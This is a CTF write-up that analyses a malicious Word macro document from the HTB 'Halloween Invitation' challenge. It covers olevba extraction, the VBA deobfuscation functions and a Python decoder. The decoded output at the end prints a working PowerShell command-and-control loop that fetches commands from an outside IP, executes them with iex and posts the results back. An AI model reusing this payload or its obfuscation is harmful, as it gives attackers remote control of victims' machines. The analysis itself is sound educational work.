Halloween Invitation - HTB Hack The Boo CTF 2022
Introduction
This is a write-up for the Halloween Invitation challenge at Hack The Boo CTF 2022 hosted by HackTheBox. I will explain how I approached and solved this challenge.
Challenge
We are provided with a zip archive containing a suspicious Word document called invitation.docm
. The goal of this challenge is to analyse the document and to figure out what malicious VBA macros are run when the file is opened.
$ file invitation.docm
invitation.docm: Microsoft Word 2007+
Extracting Macros
To extract the macros from the Word document we can use a tool called olevba
. It is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word & Excel). olevba
can extract VBA Macro code in clear text, deobfuscate and analyze malicious macros. It can be used by running:
olevba invitation.docm > olevba.out # output results to olevba.out
The analysis by olevba shows that suspicious keywords have been found in the macro code. The keywords "powershell", "Shell" and "WScript.Shell" are really interesting, because it may run system commands. But unfortunately the macro code is obfuscated to make it difficult to read.
Deobfuscating VBA Macro code
I copied to VBA code to Visual Studio Code to get syntax highlighting and to make it easier to work with. When looking at the code we can see something interesting, the output of two functions are accumulated and stored inside a variable. See image below:
Then I looked at both functions to determine what they do. The function uxdufnkjlialsyp
takes a string as an argument and decodes it as hex. The function wdysllqkgsbzs
takes a string of decimals separated with spaces and converts them to characters.
Function uxdufnkjlialsyp(ByVal tiyrahvbz As String) As String
Dim nqjveawetp As Long
For nqjveawetp = 1 To Len(tiyrahvbz) Step 2
uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvbz, nqjveawetp, 2)))
Next nqjveawetp
End Function
Private Function wdysllqkgsbzs(strBytes) As String
Dim aNumbers
Dim fxnrfzsdxmcvranp As String
Dim iIter
fxnrfzsdxmcvranp = ""
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter))
Next
wdysllqkgsbzs = fxnrfzsdxmcvranp
End Function
I have converted the VBA code to a Python script. I noticed the output was base64 encoded. So I changed the script to also decodes it. After running the script we can see the PowerShell commands which where obfuscated. At the end of the output we can also see the flag.
import binascii
import base64
def dec_to_chr(str):
return "".join([chr(int(s)) for s in str.decode('utf-8').split(' ')])
base64text = ""
base64text = base64text + dec_to_chr(binascii.unhexlify("3734203635203636203132322036352036382034382036352037342031") + binascii.unhexlify("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363520313230203635203638203130") + binascii.unhexlify("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3635203638203635203635203734") + binascii.unhexlify("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") + binascii.unhexlify("37203438203635203737203635203635203438203635203638203737203635203930"))
base64text = base64text + dec_to_chr(binascii.unhexlify("313033203635203132312036352036382038312036352037372036352036352035") + binascii.unhexlify("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("313232203635203731203639203635203737203130332036362031303620363520363720393920363520373920313139203635203130372036352037322036352036352038302038312036352031") + binascii.unhexlify("3130203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("373120313033203635203130302036352036362034382036352037322036352036352037392031303320") + binascii.unhexlify("36352031313820363520363720353620363520373420313139203635203535203635203637203831"))
base64text = base64text + dec_to_chr(binascii.unhexlify("36352031303020313033203635203537203635203639203130372036352039382031303320363620353020363520373120353620363520393720313139203636203130382036352036372034") + binascii.unhexlify("38203635203835"))
base64text = base64text + dec_to_chr(binascii.unhexlify("31303320363620313038203635203732203737203635203130302036352036362037382036352037312038352036352031303020363520363620313131203635203731203536203635203930") + binascii.unhexlify("203635203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("313033203635203637203438203635203836203831203636203132322036352037312038") + binascii.unhexlify("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") + binascii.unhexlify("2031313720363520373120393920363520373320363520363520313136203635203730203835203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820") + binascii.unhexlify("3635203731203831203635203738203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363520313232203635203731203733203635") + binascii.unhexlify("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038"))
base64text = base64text + dec_to_chr(binascii.unhexlify("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") + binascii.unhexlify("20313033203635203639203635203635203130312031313920363520313035203635203639"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363920363520313030203831203636203438203635203731203130332036352039") + binascii.unhexlify("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363520393720383120363620") + binascii.unhexlify("313138203635203731203532203635203733203130332036352035372036352036372038312036352039372038312036362035372036352036382031313520363520313030"))
base64text = base64text + dec_to_chr(binascii.unhexlify("313139203636203131312036352037312031303720363520393820363520363620313038") + binascii.unhexlify("2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636"))
base64text = base64text + dec_to_chr(binascii.unhexlify("34392036352037312038352036352037352038312036362035352036352036372038312036352038392031313920363520353720363520363720313033203635203833203831203636203131") + binascii.unhexlify("37203635203732"))
base64text = base64text + dec_to_chr(binascii.unhexlify("38392036352039382031313920363620313134203635203731203835203635203736203831203636203833") + binascii.unhexlify("20363520373120383520363520393920313139203636203438203635203639203438203635203930"))
base64text = base64text + dec_to_chr(binascii.unhexlify("38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037") + binascii.unhexlify("37203635203930203831203636203637"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520") + binascii.unhexlify("37322037332036352039392031313920363620313132203635203731"))
base64text = base64text + dec_to_chr(binascii.unhexlify("35322036352039302031313920363520313033203635203637203438203635203836203831203636203132312036352037312031303720363520373320363520363520313037203635203732203635") + binascii.unhexlify("203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("37342036352036362031323220363520363720") + binascii.unhexlify("35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635") + binascii.unhexlify("2037312038352036352039392031303320363620313232203635203637"))
base64text = base64text + dec_to_chr(binascii.unhexlify("36352036352038312036352036362035352036352036372037332036352038") + binascii.unhexlify("3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937"))
base64text = base64text + dec_to_chr(binascii.unhexlify("383120363620353420363520373120363920363520") + binascii.unhexlify("313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636"))
base64text = base64text + dec_to_chr(binascii.unhexlify("31313220363520373220343820363520") + binascii.unhexlify("37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3637") + binascii.unhexlify("20363520363520373620383120363620313137203635203731203835203635203733203635203635203131302036352036392035322036352039382031313920363620313137203635203731203835"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363520373420313139203635203131322036352036372036352036352031303120313139203635203130372036352037322037332036352038302038312036362031313220363520") + binascii.unhexlify("373120383520363520313031"))
base64text = base64text + dec_to_chr(binascii.unhexlify("36352036352031303320") + binascii.unhexlify("363520363720383120363520383920313139203635203130332036352036372034382036352038322038312036362031323120363520373220373320363520393820313139203636"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520") + binascii.unhexlify("363720363520363520383520313139203636203438203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120") + binascii.unhexlify("36352037322037332036352039382031313920363620313231203635203730203839"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363520383920383120363620313231203635203731203130372036352038392038") + binascii.unhexlify("31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3131392036352031303720363520373220373320363520383020383120") + binascii.unhexlify("3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3132312036352037") + binascii.unhexlify("31203130372036352039382031303320363620313130203635203637203635203635203736203831203636203734203635203731203532203635203939203635203636203439203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("37322038312036352038342031313920363620313035203635203731203131312036352039302038312036362031303620363520373220383120363520373320363520363520313037203635203732") + binascii.unhexlify("203733"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3635203739203131392036352031303720363520373220383120363520383020383120363620") + binascii.unhexlify("373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930"))
base64text = base64text + dec_to_chr(binascii.unhexlify("38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130") + binascii.unhexlify("3820363520373220383120363520393720363520363620313138"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3635203731203831203635203733") + binascii.unhexlify("20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031303420363520363820373320") + binascii.unhexlify("3635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("38392031313920363520313033203635203637203438203635203834203831203636203130382036352037322038312036352039372036352036362031313820363520373120") + binascii.unhexlify("3831203635203733203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363620383120") + binascii.unhexlify("36352036392035362036352038352031313920363620383520363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535") + binascii.unhexlify("203635203637203733203635203831203831203636203439203635203732203831203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731203536203635203938") + binascii.unhexlify("20313033"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520") + binascii.unhexlify("3131362036352036392037332036352039382031313920363620313037"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363520373220") + binascii.unhexlify("3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620313038203635203731"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3438203635") + binascii.unhexlify("203736203130332036362038352036352037312038352036352031303120363520363620343820363520363720353220363520383220383120363620313137203635203731203737203635203938"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730203835203635") + binascii.unhexlify("203836203635203636"))
base64text = base64text + dec_to_chr(binascii.unhexlify("37312036352036382031303320363520373620313033203636203732203635203731") + binascii.unhexlify("20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635") + binascii.unhexlify("20313033203635203637203438"))
base64text = base64text + dec_to_chr(binascii.unhexlify("36352039372031303320363620") + binascii.unhexlify("3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("313032") + binascii.unhexlify("20383120363520313033203635203732203737203635203938203635203636203130382036352037312038352036352039392036352036352031303320363520363820363520363520373620313033"))
base64text = base64text + dec_to_chr(binascii.unhexlify("363520353220363520373220343820363520383320363520363620") + binascii.unhexlify("3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("373220373320363520383820313139203635203132322036352036382038312036352037382038") + binascii.unhexlify("31203636203533203635203730203536203635203938203831203635203438203635203731203737203635"))
base64text = base64text + dec_to_chr(binascii.unhexlify("393920313033203635203131392036352036382038352036352031303220383120") + binascii.unhexlify("3635203631"))
print(base64.b64decode(base64text).decode())
# Output:
# $s='77.74.198.52:8080';$i='d43bcc6d-043f2409-7ea23a2c';$p='http://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/d43bcc6d -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/043f2409 -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/7ea23a2c -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}HTB{5up3r_345y_m4cr05}
HTB{5up3r_345y_m4cr05}